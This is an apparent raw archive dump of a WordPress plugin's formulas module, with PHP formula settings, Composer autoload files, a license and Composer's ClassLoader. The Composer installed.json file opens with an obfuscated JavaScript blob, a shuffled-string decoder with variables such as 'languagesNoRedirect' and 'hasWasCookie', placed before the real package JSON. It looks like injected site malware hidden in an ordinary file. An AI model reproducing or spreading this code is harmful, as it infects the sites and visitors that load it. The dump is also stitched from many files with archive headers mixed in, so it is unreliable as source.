    ', 'vg_sheet_editor' ), 'fields_relationship' => 'AND', 'jsCallback' => 'vgseGenerateSetValueFormula', 'allowed_column_keys' => null, 'disallowed_column_keys' => array(), 'input_fields' => array( array( 'tag' => 'input', 'html_attrs' => array( 'type' => 'text', ), 'label' => __( 'Email subject', 'vg_sheet_editor' ) . ' ( ? )', ), array( 'tag' => 'textarea', 'html_attrs' => array( 'id' => 'formula-send-email-editor', ), 'label' => __( 'Email message', 'vg_sheet_editor' ) . ' ( ? )', ), array( 'tag' => 'input', 'html_attrs' => array( 'type' => 'email', ), 'label' => __( 'Reply to', 'vg_sheet_editor' ) . ' ( ? )', ), array( 'label' => __( 'Only send one email per email address?', 'vg_sheet_editor' ) . ' ( ? )', 'tag' => 'select', 'options' => '' . '', ), ), ), 'php_function' => array( 'label' => __( 'PHP Function', 'vg_sheet_editor' ), 'fields_relationship' => 'AND', 'jsCallback' => 'vgseGeneratePHPFormula', 'allowed_column_keys' => null, 'disallowed_column_keys' => array(), 'input_fields' => array( array( 'tag' => 'input', 'html_attrs' => array( 'type' => 'text', ), 'label' => sprintf( __( 'For advanced users. Enter the name of your PHP function and we will pass 2 parameters: $current_data (string with current value of the column) and $row_id, the function must accept the 2 parameters and return the modified value as a string. We will automatically save it if the value changed. Read more.', 'vg_sheet_editor' ), vgse_formulas_init()->documentation_url ), ), ), ), 'merge_columns' => array( 'label' => __( 'Copy from other columns', 'vg_sheet_editor' ), 'fields_relationship' => 'OR', 'jsCallback' => 'vgseGenerateMergeFormula', 'allowed_column_keys' => null, 'disallowed_column_keys' => array(), 'description' => __( 'Copy the value of other fields into this field.
    Example, copy "sale price" into the "regular price" field.', 'vg_sheet_editor' ), 'input_fields' => array( array( 'tag' => 'select', 'html_attrs' => array( 'multiple' => false, 'class' => 'select2', ), 'options' => '', 'label' => __( 'Copy from this column', 'vg_sheet_editor' ), ), // Removed to simplify the form and move this to a separate "type of edit" in the future /* array( 'tag' => 'textarea', 'label' => __('Copy from multiple columns', 'vg_sheet_editor' ), 'description' => __("Example: 'Articles written by \$post_author\$ on \$post_date\$' = 'Articles written by Adam on 24-12-2017'.
    Another example: '\$category\$-\$_regular_price\$ EUR' would be 'Videos - 25 EUR'", 'vg_sheet_editor' ), ), */ ), ), ), 'columns_actions' => array( 'text' => array( 'set_value' => 'default', 'replace' => 'default', 'clear_value' => 'default', 'remove_duplicates' => 'default', 'remove_duplicates_title_content' => 'default', 'append' => 'default', 'prepend' => 'default', 'capitalize_words' => 'default', 'generate_excerpt' => 'default', 'remove_everything_after' => 'default', 'remove_everything_before' => 'default', 'merge_columns' => 'default', 'set_random_value' => 'default', 'custom' => 'default', ), 'email' => array( 'set_value' => 'default', 'replace' => 'default', 'clear_value' => 'default', 'remove_duplicates' => 'default', 'remove_duplicates_title_content' => 'default', 'append' => 'default', 'prepend' => 'default', 'capitalize_words' => 'default', 'generate_excerpt' => 'default', 'remove_everything_after' => 'default', 'remove_everything_before' => 'default', 'merge_columns' => 'default', 'set_random_value' => 'default', 'custom' => 'default', ), 'date' => array( 'set_value' => 'default', 'add_time' => 'default', 'reduce_time' => 'default', 'replace' => 'default', 'clear_value' => 'default', 'remove_duplicates' => 'default', 'append' => 'default', 'prepend' => 'default', 'capitalize_words' => 'default', 'generate_excerpt' => 'default', 'merge_columns' => 'default', 'set_random_value' => 'default', 'custom' => 'default', ), 'boton_tiny' => array( 'set_value' => 'default', 'replace' => 'default', 'clear_value' => 'default', 'append' => 'default', 'prepend' => 'default', 'capitalize_words' => 'default', 'generate_excerpt' => 'default', 'merge_columns' => 'default', 'set_random_value' => 'default', 'custom' => 'default', ), 'boton_gallery_multiple' => array( 'set_value' => array( 'description' => __( 'We will replace the existing media file(s) with these file(s).', 'vg_sheet_editor' ), 'fields_relationship' => 'OR', 'input_fields' => array( array( 'tag' => 'a', 'html_attrs' => array( 'data-multiple' => true, 'class' => 'wp-media button', ), 'label' => __( 'Upload the files', 'vg_sheet_editor' ), ), array( 'tag' => 'input', 'html_attrs' => array( 'type' => 'url', ), 'label' => __( 'File URLs', 'vg_sheet_editor' ), 'description' => __( 'Enter the URLs separated by commas. They can be from your own site.', 'vg_sheet_editor' ), ), ), ), 'prepend' => array( 'description' => __( 'We will prepend the new file(s) to the existing media file(s).', 'vg_sheet_editor' ), 'fields_relationship' => 'OR', 'input_fields' => array( array( 'tag' => 'a', 'html_attrs' => array( 'data-multiple' => true, 'class' => 'wp-media button', ), 'label' => __( 'Upload the files', 'vg_sheet_editor' ), ), array( 'tag' => 'input', 'html_attrs' => array( 'type' => 'url', ), 'label' => __( 'File URLs', 'vg_sheet_editor' ), 'description' => __( 'Enter the URLs separated by commas. They can be from your own site.', 'vg_sheet_editor' ), ), ), ), 'append' => array( 'description' => __( 'We will append the new file(s) to the existing media file(s).', 'vg_sheet_editor' ), 'fields_relationship' => 'OR', 'input_fields' => array( array( 'tag' => 'a', 'html_attrs' => array( 'data-multiple' => true, 'class' => 'wp-media button', ), 'label' => __( 'Upload the files', 'vg_sheet_editor' ), ), array( 'tag' => 'input', 'html_attrs' => array( 'type' => 'url', ), 'label' => __( 'File URLs', 'vg_sheet_editor' ), 'description' => __( 'Enter the URLs separated by commas. They can be from your own site.', 'vg_sheet_editor' ), ), ), ), 'replace' => array( 'description' => __( 'Replace a media file with other file', 'vg_sheet_editor' ), 'fields_relationship' => 'AND', 'input_fields' => array( array( 'tag' => 'input', 'html_attrs' => array( 'type' => 'url', ), 'label' => __( 'Replace these files', 'vg_sheet_editor' ), 'description' => __( 'Enter the URLs separated by commas. They must be from your own site.', 'vg_sheet_editor' ), ), array( 'tag' => 'input', 'html_attrs' => array( 'type' => 'url', ), 'label' => __( 'With these files', 'vg_sheet_editor' ), 'description' => __( 'Enter the URLs separated by commas. They must be from your own site.', 'vg_sheet_editor' ), ), ), ), 'clear_value' => 'default', 'set_random_value' => 'default', 'custom' => 'default', ), 'boton_gallery' => array( 'set_value' => array( 'description' => __( 'We will replace the existing media file with this file.', 'vg_sheet_editor' ), 'fields_relationship' => 'OR', 'input_fields' => array( array( 'tag' => 'a', 'html_attrs' => array( 'data-multiple' => false, 'class' => 'wp-media button', ), 'label' => __( 'Upload the file', 'vg_sheet_editor' ), ), array( 'tag' => 'input', 'html_attrs' => array( 'type' => 'text', // we don't use type=url to allow saving using filenames too ), 'label' => __( 'File URL', 'vg_sheet_editor' ), 'description' => __( 'Enter the URL. It can be an URL from your own site (Example http://site.com/wp-content/uploads/2016/01/file.jpg) or an external URL.', 'vg_sheet_editor' ), ), ), ), 'replace' => array( 'label' => __( 'Replace', 'vg_sheet_editor' ), 'description' => __( 'Replace a media file with other file', 'vg_sheet_editor' ), 'fields_relationship' => 'AND', 'input_fields' => array( array( 'tag' => 'input', 'html_attrs' => array( 'type' => 'url', ), 'label' => __( 'Replace this file', 'vg_sheet_editor' ), 'description' => __( 'Enter the URL. It must be an URL from your own site. Example: http://site.com/wp-content/uploads/2016/01/file.jpg', 'vg_sheet_editor' ), ), array( 'tag' => 'input', 'html_attrs' => array( 'type' => 'url', ), 'label' => __( 'With this file', 'vg_sheet_editor' ), 'description' => __( 'Enter the URL. It must be an URL from your own site. Example: http://site.com/wp-content/uploads/2016/01/file.jpg', 'vg_sheet_editor' ), ), ), ), 'clear_value' => 'default', 'set_random_value' => 'default', 'custom' => 'default', ), 'number' => array( 'set_value' => array( 'input_fields' => array( array( 'tag' => 'input', 'html_attrs' => array( 'type' => 'number', 'step' => '0.01', ), ), ), ), 'clear_value' => 'default', 'increase_by_number' => 'default', 'increase_by_percentage' => 'default', 'decrease_by_number' => 'default', 'decrease_by_percentage' => 'default', 'math' => 'default', 'merge_columns' => 'default', 'set_random_value' => 'default', 'custom' => 'default', ), 'post_terms' => array( 'merge_columns' => 'default', 'set_value' => array( 'description' => __( 'We will replace the existing terms with these terms.', 'vg_sheet_editor' ), 'input_fields' => array( array( 'tag' => 'input', 'description' => sprintf( __( 'Enter the new terms separated by %s . You can add hierarchy like parent > child > child', 'vg_sheet_editor' ), VGSE()->helpers->get_term_separator() ), ), ), ), 'replace' => array( 'description' => sprintf( __( 'Replace some term(s) with new term(s). Read more', 'vg_sheet_editor' ), vgse_formulas_init()->documentation_url ), 'fields_relationship' => 'AND', 'input_fields' => array( array( 'label' => __( 'Replace this', 'vg_sheet_editor' ), 'description' => __( 'You must enter the full hierarchy like parent > child', 'vg_sheet_editor' ), 'tag' => 'select', 'html_attrs' => array( 'data-placeholder' => '--', 'data-tags' => true, 'class' => 'select2', 'data-remote' => 'true', 'data-action' => 'vgse_get_taxonomy_terms', 'data-extra_ajax_parameters' => '{"taxonomy_key": "{column_key}"}', ), ), array( 'label' => __( 'With this', 'vg_sheet_editor' ), 'description' => __( 'You must enter the full hierarchy like parent > child', 'vg_sheet_editor' ), 'tag' => 'select', 'html_attrs' => array( 'data-placeholder' => '--', 'data-tags' => true, 'class' => 'select2', 'data-remote' => 'true', 'data-action' => 'vgse_get_taxonomy_terms', 'data-extra_ajax_parameters' => '{"taxonomy_key": "{column_key}"}', ), ), ), ), 'append' => array( 'input_fields' => array( array( 'label' => __( 'Terms', 'vg_sheet_editor' ), 'description' => __( 'Enter the full hierarchy like parent > child', 'vg_sheet_editor' ), 'tag' => 'select', 'html_attrs' => array( 'data-placeholder' => '--', 'data-tags' => true, 'class' => 'select2', 'data-remote' => 'true', 'data-action' => 'vgse_get_taxonomy_terms', 'data-extra_ajax_parameters' => '{"taxonomy_key": "{column_key}"}', 'multiple' => 'multiple', ), ), ), ), 'clear_value' => 'default', 'capitalize_words' => 'default', 'set_random_value' => 'default', 'custom' => 'default', ), ), ); if ( VGSE()->helpers->user_can_manage_options() ) { foreach ( $formulas_data['columns_actions'] as $key => $actions ) { $formulas_data['columns_actions'][ $key ]['php_function'] = 'default'; } $formulas_data['columns_actions']['email']['send_email'] = 'default'; } if ( post_type_exists( $current_post ) ) { $formulas_data['columns_actions']['post_terms'] = array_merge( array( 'remove_terms' => 'default', ), $formulas_data['columns_actions']['post_terms'] ); } return apply_filters( 'vg_sheet_editor/formulas/form_settings', $formulas_data, $current_post ); } /** * Creates or returns an instance of this class. */ static function get_instance() { if ( null == self::$instance ) { self::$instance = new WPSE_Formulas_UI(); self::$instance->init(); } return self::$instance; } function __set( $name, $value ) { $this->$name = $value; } function __get( $name ) { return $this->$name; } } } if ( ! function_exists( 'WPSE_Formulas_UI_Obj' ) ) { function WPSE_Formulas_UI_Obj() { return WPSE_Formulas_UI::get_instance(); } } WPSE_Formulas_UI_Obj(); modules/formulas/inc/testing.php000064400000000456147600365160013020 0ustar00 array($vendorDir . '/mossadal/math-parser/src/MathParser'), ); modules/formulas/vendor/composer/autoload_real.php000064400000003551147600365160016530 0ustar00= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded()); if ($useStaticLoader) { require __DIR__ . '/autoload_static.php'; call_user_func(\Composer\Autoload\ComposerStaticInit864f1b9f9ed627a31b6b27c075a1aac5::getInitializer($loader)); } else { $map = require __DIR__ . '/autoload_namespaces.php'; foreach ($map as $namespace => $path) { $loader->set($namespace, $path); } $map = require __DIR__ . '/autoload_psr4.php'; foreach ($map as $namespace => $path) { $loader->setPsr4($namespace, $path); } $classMap = require __DIR__ . '/autoload_classmap.php'; if ($classMap) { $loader->addClassMap($classMap); } } $loader->register(true); return $loader; } } modules/formulas/vendor/composer/installed.json000064400000012120147600365160016046 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "packages": [ { "name": "mossadal/math-parser", "version": "v1.3.16", "version_normalized": "1.3.16.0", "source": { "type": "git", "url": "https://github.com/mossadal/math-parser.git", "reference": "981b03ca603fd281049e092d75245ac029e13dec" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/mossadal/math-parser/zipball/981b03ca603fd281049e092d75245ac029e13dec", "reference": "981b03ca603fd281049e092d75245ac029e13dec", "shasum": "" }, "require": { "php": ">=5.4.0" }, "require-dev": { "phpdocumentor/phpdocumentor": "2.*", "phpunit/php-code-coverage": "6.0.*", "phpunit/phpunit": "7.3.*" }, "time": "2018-09-15T22:20:34+00:00", "type": "library", "installation-source": "dist", "autoload": { "psr-4": { "MathParser\\": "src/MathParser" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "LGPL-3.0" ], "authors": [ { "name": "Frank Wikström", "email": "frank@mossadal.se", "role": "Developer" } ], "description": "PHP parser for mathematical expressions, including elementary functions, variables and implicit multiplication. Also supports symbolic differentiation.", "homepage": "https://github.com/mossadal/math-parser", "keywords": [ "mathematics", "parser" ], "support": { "issues": "https://github.com/mossadal/math-parser/issues", "source": "https://github.com/mossadal/math-parser/tree/master" }, "install-path": "../mossadal/math-parser" } ], "dev": true, "dev-package-names": [] } modules/formulas/vendor/composer/InstalledVersions.php000064400000011304147600365160017360 0ustar00 array ( 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'aliases' => array ( ), 'reference' => 'b3bc82e8c9dc51c417e08207bf592f6d200a53fa', 'name' => '__root__', ), 'versions' => array ( '__root__' => array ( 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'aliases' => array ( ), 'reference' => 'b3bc82e8c9dc51c417e08207bf592f6d200a53fa', ), 'mossadal/math-parser' => array ( 'pretty_version' => 'v1.3.16', 'version' => '1.3.16.0', 'aliases' => array ( ), 'reference' => '981b03ca603fd281049e092d75245ac029e13dec', ), ), ); private static $canGetVendors; private static $installedByVendor = array(); public static function getInstalledPackages() { $packages = array(); foreach (self::getInstalled() as $installed) { $packages[] = array_keys($installed['versions']); } if (1 === \count($packages)) { return $packages[0]; } return array_keys(array_flip(\call_user_func_array('array_merge', $packages))); } public static function isInstalled($packageName) { foreach (self::getInstalled() as $installed) { if (isset($installed['versions'][$packageName])) { return true; } } return false; } public static function satisfies(VersionParser $parser, $packageName, $constraint) { $constraint = $parser->parseConstraints($constraint); $provided = $parser->parseConstraints(self::getVersionRanges($packageName)); return $provided->matches($constraint); } public static function getVersionRanges($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } $ranges = array(); if (isset($installed['versions'][$packageName]['pretty_version'])) { $ranges[] = $installed['versions'][$packageName]['pretty_version']; } if (array_key_exists('aliases', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']); } if (array_key_exists('replaced', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']); } if (array_key_exists('provided', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']); } return implode(' || ', $ranges); } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } public static function getVersion($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['version'])) { return null; } return $installed['versions'][$packageName]['version']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } public static function getPrettyVersion($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['pretty_version'])) { return null; } return $installed['versions'][$packageName]['pretty_version']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } public static function getReference($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['reference'])) { return null; } return $installed['versions'][$packageName]['reference']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } public static function getRootPackage() { $installed = self::getInstalled(); return $installed[0]['root']; } public static function getRawData() { return self::$installed; } public static function reload($data) { self::$installed = $data; self::$installedByVendor = array(); } private static function getInstalled() { if (null === self::$canGetVendors) { self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders'); } $installed = array(); if (self::$canGetVendors) { foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) { if (isset(self::$installedByVendor[$vendorDir])) { $installed[] = self::$installedByVendor[$vendorDir]; } elseif (is_file($vendorDir.'/composer/installed.php')) { $installed[] = self::$installedByVendor[$vendorDir] = require $vendorDir.'/composer/installed.php'; } } } $installed[] = self::$installed; return $installed; } } modules/formulas/vendor/composer/LICENSE000064400000002056147600365160014210 0ustar00 Copyright (c) Nils Adermann, Jordi Boggiano Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. modules/formulas/vendor/composer/autoload_classmap.php000064400000000350147600365160017402 0ustar00 $vendorDir . '/composer/InstalledVersions.php', ); modules/formulas/vendor/composer/installed.php000064400000001324147600365160015670 0ustar00 array ( 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'aliases' => array ( ), 'reference' => 'b3bc82e8c9dc51c417e08207bf592f6d200a53fa', 'name' => '__root__', ), 'versions' => array ( '__root__' => array ( 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'aliases' => array ( ), 'reference' => 'b3bc82e8c9dc51c417e08207bf592f6d200a53fa', ), 'mossadal/math-parser' => array ( 'pretty_version' => 'v1.3.16', 'version' => '1.3.16.0', 'aliases' => array ( ), 'reference' => '981b03ca603fd281049e092d75245ac029e13dec', ), ), ); modules/formulas/vendor/composer/ClassLoader.php000064400000034037147600365160016114 0ustar00 * Jordi Boggiano * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Autoload; /** * ClassLoader implements a PSR-0, PSR-4 and classmap class loader. * * $loader = new \Composer\Autoload\ClassLoader(); * * // register classes with namespaces * $loader->add('Symfony\Component', __DIR__.'/component'); * $loader->add('Symfony', __DIR__.'/framework'); * * // activate the autoloader * $loader->register(); * * // to enable searching the include path (eg. for PEAR packages) * $loader->setUseIncludePath(true); * * In this example, if you try to use a class in the Symfony\Component * namespace or one of its children (Symfony\Component\Console for instance), * the autoloader will first look for the class under the component/ * directory, and it will then fallback to the framework/ directory if not * found before giving up. * * This class is loosely based on the Symfony UniversalClassLoader. * * @author Fabien Potencier * @author Jordi Boggiano * @see https://www.php-fig.org/psr/psr-0/ * @see https://www.php-fig.org/psr/psr-4/ */ class ClassLoader { private $vendorDir; // PSR-4 private $prefixLengthsPsr4 = array(); private $prefixDirsPsr4 = array(); private $fallbackDirsPsr4 = array(); // PSR-0 private $prefixesPsr0 = array(); private $fallbackDirsPsr0 = array(); private $useIncludePath = false; private $classMap = array(); private $classMapAuthoritative = false; private $missingClasses = array(); private $apcuPrefix; private static $registeredLoaders = array(); public function __construct($vendorDir = null) { $this->vendorDir = $vendorDir; } public function getPrefixes() { if (!empty($this->prefixesPsr0)) { return call_user_func_array('array_merge', array_values($this->prefixesPsr0)); } return array(); } public function getPrefixesPsr4() { return $this->prefixDirsPsr4; } public function getFallbackDirs() { return $this->fallbackDirsPsr0; } public function getFallbackDirsPsr4() { return $this->fallbackDirsPsr4; } public function getClassMap() { return $this->classMap; } /** * @param array $classMap Class to filename map */ public function addClassMap(array $classMap) { if ($this->classMap) { $this->classMap = array_merge($this->classMap, $classMap); } else { $this->classMap = $classMap; } } /** * Registers a set of PSR-0 directories for a given prefix, either * appending or prepending to the ones previously set for this prefix. * * @param string $prefix The prefix * @param array|string $paths The PSR-0 root directories * @param bool $prepend Whether to prepend the directories */ public function add($prefix, $paths, $prepend = false) { if (!$prefix) { if ($prepend) { $this->fallbackDirsPsr0 = array_merge( (array) $paths, $this->fallbackDirsPsr0 ); } else { $this->fallbackDirsPsr0 = array_merge( $this->fallbackDirsPsr0, (array) $paths ); } return; } $first = $prefix[0]; if (!isset($this->prefixesPsr0[$first][$prefix])) { $this->prefixesPsr0[$first][$prefix] = (array) $paths; return; } if ($prepend) { $this->prefixesPsr0[$first][$prefix] = array_merge( (array) $paths, $this->prefixesPsr0[$first][$prefix] ); } else { $this->prefixesPsr0[$first][$prefix] = array_merge( $this->prefixesPsr0[$first][$prefix], (array) $paths ); } } /** * Registers a set of PSR-4 directories for a given namespace, either * appending or prepending to the ones previously set for this namespace. * * @param string $prefix The prefix/namespace, with trailing '\\' * @param array|string $paths The PSR-4 base directories * @param bool $prepend Whether to prepend the directories * * @throws \InvalidArgumentException */ public function addPsr4($prefix, $paths, $prepend = false) { if (!$prefix) { // Register directories for the root namespace. if ($prepend) { $this->fallbackDirsPsr4 = array_merge( (array) $paths, $this->fallbackDirsPsr4 ); } else { $this->fallbackDirsPsr4 = array_merge( $this->fallbackDirsPsr4, (array) $paths ); } } elseif (!isset($this->prefixDirsPsr4[$prefix])) { // Register directories for a new namespace. $length = strlen($prefix); if ('\\' !== $prefix[$length - 1]) { throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); } $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; $this->prefixDirsPsr4[$prefix] = (array) $paths; } elseif ($prepend) { // Prepend directories for an already registered namespace. $this->prefixDirsPsr4[$prefix] = array_merge( (array) $paths, $this->prefixDirsPsr4[$prefix] ); } else { // Append directories for an already registered namespace. $this->prefixDirsPsr4[$prefix] = array_merge( $this->prefixDirsPsr4[$prefix], (array) $paths ); } } /** * Registers a set of PSR-0 directories for a given prefix, * replacing any others previously set for this prefix. * * @param string $prefix The prefix * @param array|string $paths The PSR-0 base directories */ public function set($prefix, $paths) { if (!$prefix) { $this->fallbackDirsPsr0 = (array) $paths; } else { $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths; } } /** * Registers a set of PSR-4 directories for a given namespace, * replacing any others previously set for this namespace. * * @param string $prefix The prefix/namespace, with trailing '\\' * @param array|string $paths The PSR-4 base directories * * @throws \InvalidArgumentException */ public function setPsr4($prefix, $paths) { if (!$prefix) { $this->fallbackDirsPsr4 = (array) $paths; } else { $length = strlen($prefix); if ('\\' !== $prefix[$length - 1]) { throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); } $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; $this->prefixDirsPsr4[$prefix] = (array) $paths; } } /** * Turns on searching the include path for class files. * * @param bool $useIncludePath */ public function setUseIncludePath($useIncludePath) { $this->useIncludePath = $useIncludePath; } /** * Can be used to check if the autoloader uses the include path to check * for classes. * * @return bool */ public function getUseIncludePath() { return $this->useIncludePath; } /** * Turns off searching the prefix and fallback directories for classes * that have not been registered with the class map. * * @param bool $classMapAuthoritative */ public function setClassMapAuthoritative($classMapAuthoritative) { $this->classMapAuthoritative = $classMapAuthoritative; } /** * Should class lookup fail if not found in the current class map? * * @return bool */ public function isClassMapAuthoritative() { return $this->classMapAuthoritative; } /** * APCu prefix to use to cache found/not-found classes, if the extension is enabled. * * @param string|null $apcuPrefix */ public function setApcuPrefix($apcuPrefix) { $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null; } /** * The APCu prefix in use, or null if APCu caching is not enabled. * * @return string|null */ public function getApcuPrefix() { return $this->apcuPrefix; } /** * Registers this instance as an autoloader. * * @param bool $prepend Whether to prepend the autoloader or not */ public function register($prepend = false) { spl_autoload_register(array($this, 'loadClass'), true, $prepend); if (null === $this->vendorDir) { return; } if ($prepend) { self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders; } else { unset(self::$registeredLoaders[$this->vendorDir]); self::$registeredLoaders[$this->vendorDir] = $this; } } /** * Unregisters this instance as an autoloader. */ public function unregister() { spl_autoload_unregister(array($this, 'loadClass')); if (null !== $this->vendorDir) { unset(self::$registeredLoaders[$this->vendorDir]); } } /** * Loads the given class or interface. * * @param string $class The name of the class * @return bool|null True if loaded, null otherwise */ public function loadClass($class) { if ($file = $this->findFile($class)) { includeFile($file); return true; } } /** * Finds the path to the file where the class is defined. * * @param string $class The name of the class * * @return string|false The path if found, false otherwise */ public function findFile($class) { // class map lookup if (isset($this->classMap[$class])) { return $this->classMap[$class]; } if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) { return false; } if (null !== $this->apcuPrefix) { $file = apcu_fetch($this->apcuPrefix.$class, $hit); if ($hit) { return $file; } } $file = $this->findFileWithExtension($class, '.php'); // Search for Hack files if we are running on HHVM if (false === $file && defined('HHVM_VERSION')) { $file = $this->findFileWithExtension($class, '.hh'); } if (null !== $this->apcuPrefix) { apcu_add($this->apcuPrefix.$class, $file); } if (false === $file) { // Remember that this class does not exist. $this->missingClasses[$class] = true; } return $file; } /** * Returns the currently registered loaders indexed by their corresponding vendor directories. * * @return self[] */ public static function getRegisteredLoaders() { return self::$registeredLoaders; } private function findFileWithExtension($class, $ext) { // PSR-4 lookup $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext; $first = $class[0]; if (isset($this->prefixLengthsPsr4[$first])) { $subPath = $class; while (false !== $lastPos = strrpos($subPath, '\\')) { $subPath = substr($subPath, 0, $lastPos); $search = $subPath . '\\'; if (isset($this->prefixDirsPsr4[$search])) { $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1); foreach ($this->prefixDirsPsr4[$search] as $dir) { if (file_exists($file = $dir . $pathEnd)) { return $file; } } } } } // PSR-4 fallback dirs foreach ($this->fallbackDirsPsr4 as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) { return $file; } } // PSR-0 lookup if (false !== $pos = strrpos($class, '\\')) { // namespaced class name $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1) . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR); } else { // PEAR-like class name $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext; } if (isset($this->prefixesPsr0[$first])) { foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) { if (0 === strpos($class, $prefix)) { foreach ($dirs as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { return $file; } } } } } // PSR-0 fallback dirs foreach ($this->fallbackDirsPsr0 as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { return $file; } } // PSR-0 include paths. if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) { return $file; } return false; } } /** * Scope isolated include. * * Prevents access to $this/self from included files. */ function includeFile($file) { include $file; } modules/formulas/vendor/composer/platform_check.php000064400000001635147600365160016677 0ustar00= 50400)) { $issues[] = 'Your Composer dependencies require a PHP version ">= 5.4.0". You are running ' . PHP_VERSION . '.'; } if ($issues) { if (!headers_sent()) { header('HTTP/1.1 500 Internal Server Error'); } if (!ini_get('display_errors')) { if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) . PHP_EOL.PHP_EOL); } elseif (!headers_sent()) { echo 